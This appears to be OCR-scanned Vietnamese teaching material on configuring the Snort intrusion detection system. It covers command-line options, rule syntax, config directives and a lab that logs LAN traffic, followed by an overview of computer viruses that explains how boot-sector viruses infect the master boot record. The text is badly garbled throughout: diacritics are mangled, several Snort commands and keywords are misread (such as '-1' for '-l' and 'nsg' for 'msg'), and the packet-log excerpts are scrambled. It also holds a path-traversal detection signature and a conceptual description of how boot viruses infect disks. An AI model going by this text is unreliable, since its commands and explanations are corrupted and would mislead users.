Dudi day 1a mot s6 vi du vé cdu hinh dau ra cta snort:

Log vao dau ra ngam dinh (decoded ASCII) va gui cac canh bao téi syslog:

./snort -c snort.conf -1 ./log -h 192.168.1.0/24 -s
Log vao diu ra ngam dinh trong /var/log/snort va guii cac canh bao tGi mot
fast alert file:

./snort -c snort.conf -A fast -h 192.168.1.0/ 24
Log vao mot file nhi phan va glri cac canh bao t6i may tram Windows:
./snort -c snort.conf -b -M WORKSTATI ONS

1.3.2 Toi wu cac cdu hinh

Néu ta muon Snort chay nhanh, st dung tuy chon -b va -A fast hoac -s
(syslog). Cac tuy chon nay s€ log cac go6i dudi dang tcpdump format va cho ta
c4c canh béo t6i thiéu (minimal alerts). Vi du:

./snort -b -A fast -c snort.conf

Trong ciu hinh nay, Snort da c6 thé log rat nhiéu géi va nhiéu tan cong
cung mot ldc trén mot mang 100 Mbps LAN dang chay & muc x4p xi 80 Mbps.
Trong cau hinh nay, cac log duoc viét dudi dang nhi phan trong file snort.log
(tcpdump-formatted file). Dé doc lai file nay, ta chay lai Snort trén file dit liéu
vGi tuy chon -r va cac tuy chon khac ma ta thuong su dung. Vi du

.Isnort -d -c snort.conf -1 ./log -h 192.168.1.0/24 -r
snort. | og

1.3.3 Thay doi thit tw cdnh bdo (Alert Order)
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Mot s6 nguoi khong thich cach ngam dinh ma snort 4p dung cac rule cua né
cho céac goi. Cac Alert rules duogc ap dung trude, sau do l1a cac Pass rules, va cudi

cung la cac Log rules.

Dé thay doi lai trat tu nay, ta sit dung tuy chon —o dé dat lai theo thit tu:
Pass rules roi dén Alert rules roi dén Log:
./snort -d -h 192.168.1.0/24 -1 ./log -c snort.conf -0

1.4 Mot so dac diém khac

Néu ta muon chay snort dudi dang deamon, ta c¢6 thé sir dung tuy chon —D
két hop véi céc tuy chon trén. Nhung chd y ring, ta c¢6 thé khoi dong lai snort
bang cédch gti tin hieu SIGHUP t6i daemon, ta can phai st dung dudng dan day
du t6i file nhi phan snort khi ta bat ddu, c6 nghia Ia:

/usr/local/bin/snort -d -h 192.168.1.0/24 -1 \
/var/log/snortlogs -c /usr/local/etc/snort.conf -s -D

Ta khong duoc st dung duong dan tuong doi.

Néu ta mudn post cdc packet logs 1én cdc public mailing lists, ta c6 thé sir
dung tuy chon —O. Tuy chon nay sé€ dau cac dia chi IP khi in ra. Tac dung nay
lam cho moi nguoi trén mailing list khong biét duoc cac dia chi IP. Ta ciing c6
thé két hgp tuy chon —O v6i tuy chon —h dé dau céc dia IP trén home network.
Diéu nay 1a hitu ich néu ta khong quan tam dén dia chi cia mdy tdn cong
(attacking host).

Vi du:

./snort -d -v -r snort.log -O-h 192.168.1.0/24
Lénh nay 1€ doc cac goi tr mot log fi | e va in ra man hinh, nhung giau di

dia chi IP ctia cic may trong mang 192.168.1.0/24.

II. CAC LUAT CUA SNORT
2.1 Nhirng van dé co ban

Snort sir dung mot ngoén ngit don gian va dé hiéu dé mo ta cdc rule. Ngon
ngit ndy di manh va rat mém déo. C6 mot s6 chi din can ghi nhg khi phat trién

c4ac rule cua snort.
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Hau hét cdc rule cuia Snort dugc viét trén mot dong. Ta ¢6 thé thém cdc
dong bang cdch thém ky tu\ vao cudi dong can thém.

Cac rule cua Snort dugc chia thanh 2 phan logic: phan rule header va phan
rule options. Phan rule header chita action (hanh dong) cua rule, dia chi IP
nguon, dia chi IP dich, netmasks, va cdc thong tin vé cong ngudn va cong dich.
Phan rule option chita cac thong bao canh bao va thong tin trén cac phan cta
g6i ¢6 thé duoc kiém tra d€ quyét dinh hanh dong doi véi goi.

Dudi day 1a vi du vé mot Snort rule.

alert tcp any any -> 192.168.1.0/24 111 (content:"|00 01 86
ab|"; msg:"nmountd access";)

Phan van ban & ngoai ngoac don la phan rule header va phan trong ngoac
don la phan rule options. Cac tir ding trugc dau “:” trong phan rule options duogc
goi 12 céc tir khoa (key words). Chd y phan rule options 1a khong bat budc trong
rule. Chung chi dugc sir dung dé xdc dinh cdc géi mot cach chit ché hon.

2.1.1 Tw khoa Include
include duoc sir dung dé chi dudng dan dén cac rules file khac.

Dinh dang

i ncl ude: <include file path/nane>
Chu y: Khong c6 dau “;” & cudi dong.
2.1.2 Cdc bién

Cac bién (Variables) c¢6 thé duogc dinh nghia trong snort. C6 mot tap cdc
bién thay thé€ don gian véi tit khod var nhu sau:

Dinh dang

var: <nane> <val ue>
var MY_NET [192.168. 1.0/ 24, 10. 1. 1. 0/ 24]
alert tcp any any -> $MY_NET any (flags:S; nsg:"SYN packet";)

Tén céc bién rule c6 thé dugc sira d6i theo rat nhiéu cich. Ta c6 thé dinh

nghia céc bién bién doi sau (meta-variables) bang cach st dung todn tur $.

Céac bién nay c6 thé duoc sir dung véi cac todn tir stta d6i bién nhu ? (va), *
$var (dinh nghia bién meta variable).

* $(var) — thay th€ bang noi dung cuia bién var .
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* $(var:-default) — thay th€ bang noi dung cua bién var hoac 1ay gid tri
ngam dinh néu bién var chua dugc dinh nghia.

* $(var:?message) — Thay th€ bang noi dung ctia bién var hoac in ra thong
bao 16i va thoat.
Vi du:

var MY_NET 192. 168. 1.0/ 24
log tcp any any -> $MY_NET 23

2.1.3 Tu khoa config

Rat nhiéu tuy chon cau hinh va tuy chon dong lénh c6 thé dugc dat trong
file cau hinh.

Dinh dang
config <directive> [: <val ue>]

Directives

order Thay d6i thit tu ctia pass rules ( snort -0 )

- alertfile Dat file chira cac canh bao. Vi du: config alertfile: alerts

- classification Phan loai cac rule (rules classifications) ( xem bang
2.2)

- decode_arp Bat ché do arp decoding (snort -a)

- dump_chars_only Bat ch€ do character dumps (snort -C)

- dump_payload Dua ra cac thong tin v€ tang tng dung (snort -d)
- decode_data link Giai ma cic header & Layer2 (snort -e)

- bpf file St dung cic bo loc BPF(snort -F). Vi du: config bpf_file:
filename.bpf

- set_gid Thay doi GID (snort -g). Vi du: config set_gid: snort_group
- daemon Chay snort du6i dang daemon (snort -D)

- reference net Dat dia chi cia mang home network (snort -h). Vi du:
config reference_net: 192.168.1.0/24
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- logdir SX4c dinh thu muc chuta céac file log (snort -1). Vi du: config
logdir: /var/log/snort

- pkt_count Thodt sau khi bat duoc N g6i (snort -n). Vi du: config
pkt_count: 13

- nolog Tat ché€ do Logging. Chi y: Alerts van hoat dong. (snort -N)

- obfuscate Dau cac dia chi IP (snort -O)

- verbose In cac két qua log ra stdout (snort -v)
- show_year Hién thi nam trong tem thoi gian (snort -y)

- detection Cau hinh co ché phat hién ( Vi du: search-method lowmem

)

2.2 Rules Headers
2.2.1 Rule Actions

Phan rule header chita thong tin xac dinh ai, & dau, va goéi gi, cling nhu hanh
dong doi véi goi ¢6 cac thuoc tinh phtt hgp véi cac thuoc tinh dugc chi ra trong
rule. Muc dau tién trong rule 1a rule action. rule action chi cho Snort biét 1am gi
doi v6i gobi khi n6 tim thay gbéi phu hop véi cac tiéu chi trong rule. Cé 5 action
sau: alert, log, pass, activate, va dynamic.

1. alert — Sinh ra thong bao canh béo, va sau dé log lai go6i.

2.log - log goi

3. pass — Khong quan tam dén géi

4. activate — Canh bao va sau d6 bat cac dynamic rule khac

5. dynamic — Tam nghi cho dén khi dugc kich hoat bdi moét activate rule,

va sau d6 chuyén thanh mot log rule.

2.2.2 Cac giao thic
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Truong thit 2 trong rule 12 protocol. Hién tai snort ¢ thé phan tich dugc 4
giao thic: tcp, udp, icmp, and ip. Trong twong lai c¢6 thé c¢6 thém cic giao thic
nhu: ARP, IGRP, GRE, OSPF, RIP, IPX, etc.

2.2.3 Cdc dia chi IP

Phan ti€p theo trong phan rule header 1a dia chi IP va thong tin vé cong. Tur
khoa any diung dé€ chi tat ca céc dia chi. Snort khong ¢6 co ché d€ tra ctu host
name thay cho dia chi IP. Cho phép st dung ky tu dao “!”” Vi du:

alert tcp !'192.168.1.0/24 any -> 192.168.1.0/24 111 \
(content: "|00 01 86 a5|"; nmsg: "external nountd access";)

Ta c6 thé liét ké mot danh sach cac dia chi IP. Mot danh sdch dia chi IP
duoc xac dat trong cap ddu ngoac vuong, va cac dia chi dugc ngan cach nhau boi
dau phay “,”. Vidu

alert tcp !'[192.168.1.0/24,10.1.1.0/24] any ->\
[192.168.1.0/24,10.1.1.0/24] 111 (content: "|00 01 86 a5|"; \
msg: "external nountd access";)

2.2.4 Cdc cong dich vu

Ta c6 thé céc dinh cdc cong theo nhiéu cdch nhu: x4c dinh cong bat ky,
dinh nghia cdc tinh (static port definitions), khoang cac cong, va sit dung ky tu

(13 k&
!

dao “!”. C4c cong tinh duoc chi ra bdi mot cong c6 so, vi du cong 111 dung cho

portmapper, 23 for telnet... Khoang cdc cong duoc xdc dinh bing dau “:”. Vi du:
| og udp any any -> 192.168.1.0/24 1:1024 | og udp
Chi luéng dit liéu di tir cang bat ky dén cdc cong dich nim trong khoang tir
1 dén 1024.
log tcp any any -> 192.168.1.0/24 :6000
Log céc géi di tir cong bat ky dén mot cong nhod hon hodc biang 6000
log tcp any :1024 -> 192.168.1.0/24 500:
Log cdc géi di tir mot cong nho hon hoidc biang 1024 dén mot cong bat ky
16n hon hoac bang 500.
log tcp any any -> 192.168.1.0/24 !6000: 6010

St dung ky tu dao.
2.2.5 Todn tw dinh huong

Todn tir chi huéng -> xac dinh cua dit liéu. Ta ciing c6 thé sir dung ky hiéu
<> dé chi 2 huéng. Vi du:
log tcp !'192.168.1.0/24 any <> 192.168.1.0/24 23
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Chu y: Khong sir dung ky hiéu <- dé chi huéng nguoc lai
2.3 Rule Options

Tét ca cac Rule Options dugc ngan cach nhau bdi ddu chdm phay, cac tir

66,9

khoa duoc ngan cach nhau béi dau hai chdm
Cac tu khoa
- msg gui thong bao vao cac canh bao va cac packet logs
Dinh dang: nsg: "<nessage text>";
- logto chuyén cic log t6i mot file cia ngudi diing thay cho file chuén.
Dinh dang:l ogt o: "fi | enane";
- sid Snort rule id
DPinh dang:
sid: <snort rules id>;
alert tcp $EXTERNAL_ NET any -> $HTTP_SERVERS 80 \
(nmsg: " VIEB- | I S Fil e pernission canonicalization"; \

uricontent:"/scripts/../.."; \
flags: A+; nocase; sid: 983 rev:l;)

IIT - KHAO SAT MANG LAN BANG SNORT
1. M6 hinh thui nghiém
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192.168.0.1 Snort on linux

192.168.0.10

Trong mo6 hinh trén, bd phdn mém gidm sat mang sé dugc cai dat trén may chu
Linux c6 dia chi 192.168.0.10/24 va khi dugc kich hoat, n6 s€ ¢c6 nhiém vu giam
sat cac hoat dong ctia mang cuc bo.
2. Cai dat va két qua thir nghiém
a. Cai dat.

Trén mdy cht Linux tao mot thu muc ¢ tén snortinstall va chuyén
dén thu muc do:

[root@fwl root]# mkdir snortinstall
[root@Rfwl root]# ed snortinstall/

copy bo cai snort vao thu muc nay, ching ta sit dung snort-1.8.7

Sau d6 chuyén vao thu muc snort-1.8.7:
[root@fwl root snortinstall]l# cd snort-1.8.7
Chay lénh configure dé tao tép Makefile:
[root@fwl root snort-1.8.7]# ./configure
Thuc hién 1énh make dé bién dich snort va copy céc file chay ctia snort vao hé
thong:
[root@fwl root snort-1.8.7]# make
[root@fwl root snort-1.8.7]# make install
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Tiép theo tao file luat cho snort, qui trinh nhu sau:
[[root@fwl root snort-1.8.7]# mkdir /etc/snort
[root@fwl root snort-1.8.7]# cd ..
[root@fwl root snortinstalll# tar -zxvf ./snortrules.tar.gz
[root@fwl root snortinstalll]l# ed rules/
[root@fwl root rules]# cp * /etc/snort
[root@fwl root rules]# cp ./snort.conf /etc

[root@fwl root rules]# mkdir /var/log/snort

Chinh stra file snort.conf:
[root@fwl root rules]# vi /etc/snort.conf
var HOME NET $ethO ADDRESS
var EXTERNAL NET any

var RULE PATH /etc/snort/
Chay snort bang dong 1énh sau:

[root@fwl root rules]# snort -D -d —e -1 ./log

b. Két qua thir nghiém.
Sau khi chay, cdc thong tin vé hoat dong clia mang s& duoc Snort luu vao trong
thu muc /log, thong tin cia moéi mot tram & trén mang sé duoc luu vao mot thur
muc ¢4 tén tring vdi dia chi IP cta tram d6 ¢ trén mang. Cu thé v6i mo hinh trén
ta s€ c6 cac thu muc sau:
192.168.0.1
192.168.0.2
192.168.0.10
192.168.0.11
Trong moi thu muc sé chita cic tép da chin bat dugc phién truyén thong ctua
tram d6 véi cac tram khéac & trén mang.
Vi du ta c6 noi dung ctia thu muc 192.168.0.10 gébm c6 céc tép :

- TCP:1028-113

- TCP:1029-113

- UDP:513-513
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Noi dung cua tép chin bat dugc sé€ c¢6 dang nhu sau:

08/14-17:46:15.430031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS
Iplen:20 DgmLen:160 DF

Len: 132

=4=4=t4=F=+=4=F=+=4=F=t=F=F=4=F=F=4=F=F=4=F=F=f=F=f=4=

=t=t4=t4=4=+4=+

08/14-17:49:15.440031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS
Iplen:20 DgmLen:160 DF

Len: 132

=t=t4=t4=4=+4=+

08/14-17:52:15.450031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS
IpLen:20 DgmLen:160 DF

Len: 132

=t=t4=+4=4=+4=+

08/14-17:55:15.460031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLlen:20 DgmLen:160 DF
Len: 132

=4=t4=t4=4=+4=+

08/14-17:58:15.470031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

Iplen:20 DgmLen:160 DF
Len: 132

08/14-18:01:15.480031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLlen:20 DgmLen:160 DF
Len: 132

FF:FF

:0x0 ID:O

t=t=4=4=+

FF:FF

:0x0 ID:O

t=t+=+=+=+

FF:FF

:0x0 ID:O

t=t+=t+=+=+

FF:FF

0x0 ID:O0

t=f=t=+=+

FF:FF

0x0 ID:O0

t=f=t=+=+

FF:FF

0x0 ID:O0
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=4=t4=t4=4=+4=+

08/14-18:04:15.490031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLen:20 DgmLen:160 DF
Len: 132

=4=t4=+4=4=+4=+

08/14-18:07:15.500031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLen:20 DgmLen:160 DF
Len: 132

=4=t4=+4=4=+4=+

08/14-18:10:15.510031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLlen:20 DgmLen:160 DF
Len: 132

08/14-18:13:15.520031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLlen:20 DgmLen:160 DF
Len: 132

=4=F=t4=F=F=t4=F=F=F=F=d=f=F=f=F=f=f=F=F=f=F=F=f=F=F=A=

08/14-18:16:15.530031 O:
type:0x800 len:0xAE
192.168.0.10:513 -> 192.168.0.255:513
IpLen:20 DgmLen:160 DF

Len: 132

60:97:D3:E1:1

08/14-18:19:15.540031 O:
type:0x800 len:0xAE
192.168.0.10:513 -> 192.168.0.255:513
IpLlen:20 DgmLen:160 DF

Len: 132

060:97:D3:E1:1

-> FF:FF:FF:FF:

UDP TTL:64 TOS:

-> FF:FF:FF:FF:

UDP TTL:64 TOS:

t=t+=+=+=+

FF:FF

0x0 ID:O0

t=t+=+=+=+

FFE:FF

0x0 ID:O0

t=f=t=+=+

FFE:FF

0x0 ID:O0

t=f=t=+=+

FF:FF

O0x0 ID:O0

t=t=+=+=+

FF:FF

0x0 ID:O0

FF:FF

O0x0 ID:O0

t=f=t=+=+
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08/14-18:22:15.550031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLen:20 DgmLen:160 DF
Len: 132

=t=t4=+4=4=+4=+

08/14-18:25:15.560031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLlen:20 DgmLen:160 DF
Len: 132

=4=t4=+4=4=+4=+

08/14-18:28:15.570031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLlen:20 DgmLen:160 DF
Len: 132

08/14-18:31:15.580031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLen:20 DgmLen:160 DF
Len: 132

=4=4=t4=F=F=t4=F=t=F=F=d=f=F=f=F=f=f=F=F=f=F=F=f=F=f=A=

08/14-18:34:15.590031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

IpLen:20 DgmLen:160 DF
Len: 132

=4=4=t4=F=F=t4=F=t=F=F=d=f=F=f=F=f=f=F=F=f=F=F=f=F=f=A=

08/14-18:37:15.600031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:

type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:

Iplen:20 DgmLen:160 DF
Len: 132

=4=t=t4=4=+=4=F=+=4=F=t=f=F=4=F=F=4=F=F=4=F=4=f=Ff=f=4=

FF:FF

0x0 ID:O0

t=t+=+=+=+

FF:FF

0x0 ID:O0

t=f=t=+=+

FF:FF

O0x0 ID:O0

t=f=t=+=+

FF:FF

0x0 ID:O0

t=t=+=+=+

FF:FF

0x0 ID:O

t=t=+=+=+

FF:FF

0x0 ID:O

t=t=4=+=+
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08/14-18:40:15.610031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:FF:FF
type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:0x0 ID:0
IpLen:20 DgmLen:160 DF

Len: 132
=t=t=t=t=t=t=f=t=t=t=t=t=t=t=f=t=t=t=t=t=t=t=f=t=t=f=t=F=+=+=+
=t=f=t+=+=+=1+

08/14-18:43:15.620031 0:60:97:D3:E1:1 -> FF:FF:FF:FF:FF:FF
type:0x800 len:0xAE

192.168.0.10:513 -> 192.168.0.255:513 UDP TTL:64 TOS:0x0 ID:0
IpLlen:20 DgmLen:160 DF

Len: 132
=+=t=t=t=4=d=d=t=t=t=t=t=t=t=t=t=d=F=t=t=t=t=t=t=t=t=f=F=4=4=+

Khi phan tich noi dung clia cc tép tin ndy, ngudi quan tri mang c6 thé biét duoc
céac ludng thong tin dang dugc trao doi trén mang, giao thic duge sir dung, cong
ting dung dang md, ... Qua dé c6 thé gilp cho viéc gidm st va quan tri mang,

thi€t 1ap cac co ché an toan phit hgp véi yéu ciu dit clia timg hé théng cu thé.
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PHAN 3
VIRUS MAY TINH
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L. TONG QUAN VE VIRUS MAY TINH.
1. Virus may tinh la gi?

Virus mdy tinh thuc chat 1a nhitng chuong trinh phdn mém may tinh duoc thiét
k& va cal dat mot cach Ién Iit vao cac hé thong may tinh thong qua cac con duong
khéc nhau, 16i tu dong chay ngoai su ki€m soat ciia ngudi sit dung v6i muc dich duy
nhat 1a pha hoai cac hé thong nay & cac cap do khac nhau, nhe thi chi 1a nhiing hinh
anh, dong chir tréu dua tu dong hién ra trén man hinh cta nguoi st dung, nang hon
c6 thé phd hoai cdc tép tin hé thong, van ban, dit liéu ..., tham chi ¢6 thé 1am hong
ca bo mach chinh clia may tinh. Pac diém chung cla cdc chuong trinh virus 1a
ching ¢6 kha niang tu nhan ban, sao chép chinh né vao céc chuong trinh khéc. Dé
lam dugc viéc nay, virus thuong thuc hién nhitng budc sau:

-Tim cdch gin vao d6i twong chi (céc hé thong mdy tinh), stta déi dit liéu sao
cho virus nhan duoc quyén diéu khién mdi khi chuong trinh cht dugc thi hanh.

Khi dugc thuc hién, virus tim ki€m nhiing doi tuong khac (cac file, ROMBIOS),
sau d6 lay nhiém lén nhiing d6i tugng nay.

Tién hanh nhitng hoat dong pha hoai, do tham...

Tra lai quyén thi hanh cho chuong trinh chtt hoat dong nhu binh thuong hoac pha
huy luon toan bo hee théng (format 6 ciing, ghi dé cac tri khdc vao ROMBIOS dé
pha huy bo manh chinh).

Vé nguyén tic, virus chi c6 thé lay nhiém lén nhitng doi tugng c6 chiia noi dung
thi hanh duoc, vi du nhu cac file chuong trinh ¢6 phan mé rong (duoi) .BAT, .EXE,
.COM,.., cac tai liéu van ban word, exel, powerpoint,.. hay tham chi cac file
.CLASS dugc viét bang java.

2. Phan loai virus.
C6 thé phan loai virus theo nhiéu cdch, dua vao nhitng tiéu chi khdc nhau, nham
xéc dinh nhitng kha nang, tinh chit riéng biét cia moi nhém, tir d6 ¢6 phuong phép

phong chong véi moi loai.
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a. Phan loai theo déi tuong lay nhiém va moi trudong hoat dong.

V6i nhitng doi tuong chi khac nhau (Boot sector, file van ban, hé thong,
RomBios,..), virus s& c6 cau tric va cong nghé khdc nhau dé tién hanh lay nhiém.
Mt khdc, trén moi truong hoat dong ctia moéi doi tugng chi, virus ciing phai c6
nhitng cong nghé riéng biét, phu thudc vao moi truong d6. Vi vay, phuong phip nay
can ct vao doi tuong chi ma virus sé 1ay nhiém va moi trudng hoat dong cua virus
s€ lay nhiém va moi trudng hoat dong cua virus dé phan loai. Vé6i phuong phdp nay
c6 thé chia ra nhitng loai virus sau:

- Virus Boot (B- virus): cdc virus lay nhiém lén Boot sector trén dia mém hodac
Master Boot Record va Disk Boot Record trén dia cing, bang FAT, bang dang ky
(windows registry) cuia hé diéu hanh windows,..

- Virus File (F- virus): céc virus 1ay nhiém céc dang file (c6 chia noi dung thi
hanh dugc). Bao gom nhiing file .COM, .EXE va nhiing loai file chita ma gia
(Pseudo Code) nhu céac file .BAT, .DOC, .XLS. Trong loai nay, tam chia thanh 3
loai nho:

+ C4c virus file hoat dong trén moi truong DOS.

+ Cac virus file hoat dong trén moi truong Windows 3x/9x/NT/2000/XP. Bao
gom cdc virus lay nhiém céc file thi hanh trén cic hé di€u hanh tuong tng.

Cac virus file hoat dong trén moi trudng cua cac ung dung khac. Bao gom céc
virus macro va cac loai virus khac nhu VBS virus, Java virus,..

Phan loai theo phuong phép tim d6i tugng lay nhiém.

Céc loai virus thuong tri (kich hoat ngay khi bat mdy) c¢6 phuong phap tim ki€m
d6i tuong lay nhiém rat khac véi cdc virus khong thuong tra (chi kich hoat khi thuc
hién mot tic vu noa dé nhu copy, stra déi doi véi doi tugng lay nhiém), do d6 c6 cau
tric, cong nghé khac nhau.

- Virus thudng tri: 12 virus kiém soat hoat dong ctia moi trudng diéu hanh va
tién hanh céc tdc vu nguy trang, pha hoai, anti-tunnel,.. M6i khi phat hién céc tac vu

trén doi tugng chu, virus s€ tién hanh lay nhiém.
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- Virus khong thuong tri: virus khong kiém sodt hoat dong ciia hé thong. Mdi
khi dugc kich hoat (khi doi tuong chl dugc thi hanh) virus s€ ti€n hanh tim ki€m
céc doi tuong khac dé tién hanh lay nhiém.

b. Phan loai theo phuong phap lay nhiém.

Dung dé phan loai cdc virus file, cian cit vao phuong phéap lay nhiém trén d6i
tuong chu. Bao gom céc loai sau:

- Ghi de (Overwritting)

- Ghi de bao toan

- Dich chuyén (shifting).

- Song hanh (companion).

- Noi thém (appending)

- Chen gitta (Mid-File).

- Dinh huéng lai 1énh nhay (jump Redirection).

- Dién khoang trong (space filler).

c. Phan loai theo mic do pha hoai.
Cach phan loai nay chi gitip danh gid so bo vé su pha hoai cta virus, dé c6 phuong
4n phong chong thich hop. C6 thé chia thanh 2 loai:

- virus thong thuong: loai virus khong tién hanh pha hoai dit liéu, hé thong,
chi ¢ tinh chat tréu dua, hoiac khong cé anh hudng nguy hiém dén dir
liéu/may tinh.

- Virus huy diét: loai virus ti€n hanh cidc hoat dong phd hoai dit liéu/may
tinh diém hinh nhu Date, CIH, Nimda, Klez.E,..

d. Phan loai theo ho virus.

Mot s6 virus duoc phdt trién cai tién lién tuc tir khi ra doi, tao thanh mot ho cac

virus ¢6 cau tric, cong nghé tuong d6i giong nhau. Nhitng virus d6 ¢ thé phan

thanh mot ho. Chﬁng han nhu virus Date, ho CIH, ho Tiny, ho Nimda, ho Klez,..
3. Mot so tén goi khac thuong dung cua virus

- Ngua thanh toroa (trojan horse): ngua thanh toroa dua trén truyén thuyét thoi
trung c6 né hoat dong ciing giéng nhu vy, dac diém chung cta loai virus nay 1a sau

khi lay nhiém vao hé thong ctia ngudi st dung thi ndm im trong mdy chi dén mot
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ngay nhat dinh nao d6 n6é méi bung ra phé hoai. Hay hinh dung su nguy hiém cta
loai virus nay khi hang tram mdy tinh cia mot cong ty cting nhiém loai virus nay va
tit ca cung sup do6 tit trong mot ngdy. vi du dién hinh chinh 1a CIH ngay 26/4. Vi
xuat hién khong 6n a0 va khong dé lai hau qua ngay sau khi lay nhiém ma rat nhiéu
ngudi khong dé y dé phong. Hé thong mdy tinh toan ciu cuia Microsoft ciing da
tirmg khon kho vdi loai virus ndy.
- Sau internet (Worm): mat trdi cua mang interner la dem dén cho nhiing ké
chuyén pha hoai mot moi trudng hét stc 1y tuongr dé truyén ba virus. Néu trude day
viéc 1am lay nhiém chi cé con dudong duy nhat 1a thong qua viéc cai dat chuong
trinh, copy file véi tdc do lan rong dia ly rat cham vi chi cé nhitng nguoi c¢6 quan hé
nhat dinh v6i nhau méi cé viéc sao chép dit liéu trén may ctia nhau, thi ngay nay,
thong qua mang internet, bang cdc chuong trinh thu dién ti, toc do phat tdn cua cac
virus nhanh va rong khing khiép. Ngay sau khi tung 1én mang, mdt chuyén gia da
c6 thé dong thoi cho virus gii thu di toan thé giéi va worm lap tic thuc hién viéc
pha hoai trén pham vi toan cau. C6 hai loai chinh:
+ @m (Mailer — Nguoi gui thu): dang nay thong thuong guri cho cac doi tugng la
nguoi dung thu dién tir mot thong diép cé dinh kem mot file nao d6. Niru ban 1a
ngudi nhan thu va khi ban khong hiéu 16 nguén goc cua thong diép nay ma ngay
tho kich hoat file glri kém thi worm s& 1ap tic thuc hién viéc lay nhiém 1én may
ctia ban.
+ @mm (Mass mailer — nguoi giri thu khong kiém sodt duoc): dang nay con
nguy hiém hon boi phan so véi loai trén, vi ciing st dung thu dién t&r ¢6 dinh kém
file twong tu nhu loai trén, nhung sau khi kich hoat file giti kém né dong thoi lam
hai viéc sau:

» Thuc hién viéc lay nhiém 1én hé thong cua ban.

* Lan tim trong s6 dia chi cia chuong trinh thu trén may cua ban cdc dia
chi lién lac ma ban da tao truéc d6 va gtri thu cho nhitng dia chi nay véi
mot thong diép cé dinh kém mot file bat ky nao dé 14y trén may cta ban
c6 nhiém chinh né. Vi vay toc do lay nhiém cua loai nay c6 thé dugc tinh

béng cap s6 mii.
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Sau day ching ta s€ nghién cttu mot so loai Virus chinh.

II. B-VIRUS

1. Phuong phap lay lan.

Khi mdy tinh khéi dong, sau qua trinh POST, sector dau tién trén dia A (néu
khong ¢6 thi s& 1a C) dugc doc vao, mot tdc vu kiém tra nho nhd dé tranh mot 16i
1am: Sector d6 c6 thé khong phai 1a mot Boot sector hop 1é bang cach kiém tra gid
tri nhan dién 0AAS5S5 tai cudi sector. Tuy nhién viéc ki€ém tra ndy ciing khong tranh
khéi so hd néu ai d6 thay doan ma khong Boot sector bang mot chuong trinh khac
vGi ¥ d6 xau? Va dé ciing chinh 1a cach lay lan cia mot Virus loai B.

Doi véi dia mém, sector O luon 1a Boot sector, do d6 viéc lay chi tién hanh don
gian bang cédch thay Boot record trén track 0, side 0, sectorl.

Tuy nhién trén dia ciing c6 chia c4c partition, moi chuyén lai phic tap hon vi
dau tién Master boot duoc doc vao, sau qud trinh kiém tra Partition active, Boot
sector tuong ung maéi dugc doc vao. Chinh vi th€ céc 1ap trinh vién Virus cé quyén
chon mot trong hai noi. Tuy vay, ca 2 déu c6 nhuoc di€ém clia né ta s& phan tich 2
di€ém “vao” ndy.

D6i v6i Partition table, uu diém c6 vé 16 rang: né luon luon duoc nap vao viing
nhé dau tién, cho du sau dé hé diéu hanh nao dugc kich hoat, va ciing 1a 1y do B-
Virus hoat dong khong tuong thich v6i mot hé diéu hanh nao ma chi thuc hién doi
vGi dia. Mat khdc néu bat ky mot phadn mém nao dudi DOS ding céc ngat 25H va
26H ciing khong thé truy nhap dén partition table, do d6 né tranh khoi cap mat to
mo cta nhiéu ngudi. D vay né van c6 khuyét diém: phai chd y dén Partition table,
nghia la doan ma dugc thay thé khong dugc ghi dé vao bang tham s6 nay. Mot xam
pham du nho ciling s€ anh hudng dén viéc quan ly dia cing néu nguoi sit dung Boot
may tir did mém. Diéu nay ciing 1y giai tai sao mot s6 Virus trong nudc khong chi y
dén diéu nay va vi thé da tao ra 16i: khong kiém sodt dugc dia C khi may dugc Boot
tur dia A.

Doi v6i Boot sector lai khac, mot Virus chon giai phap Boot record thay cho

partition table c6 thé gip thuan lgi trong viéc sir dung bang tham s6 dia BPB (Bios
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Parameter Block chia trong boot sector bang nay duoc ghi trong qua trinh format
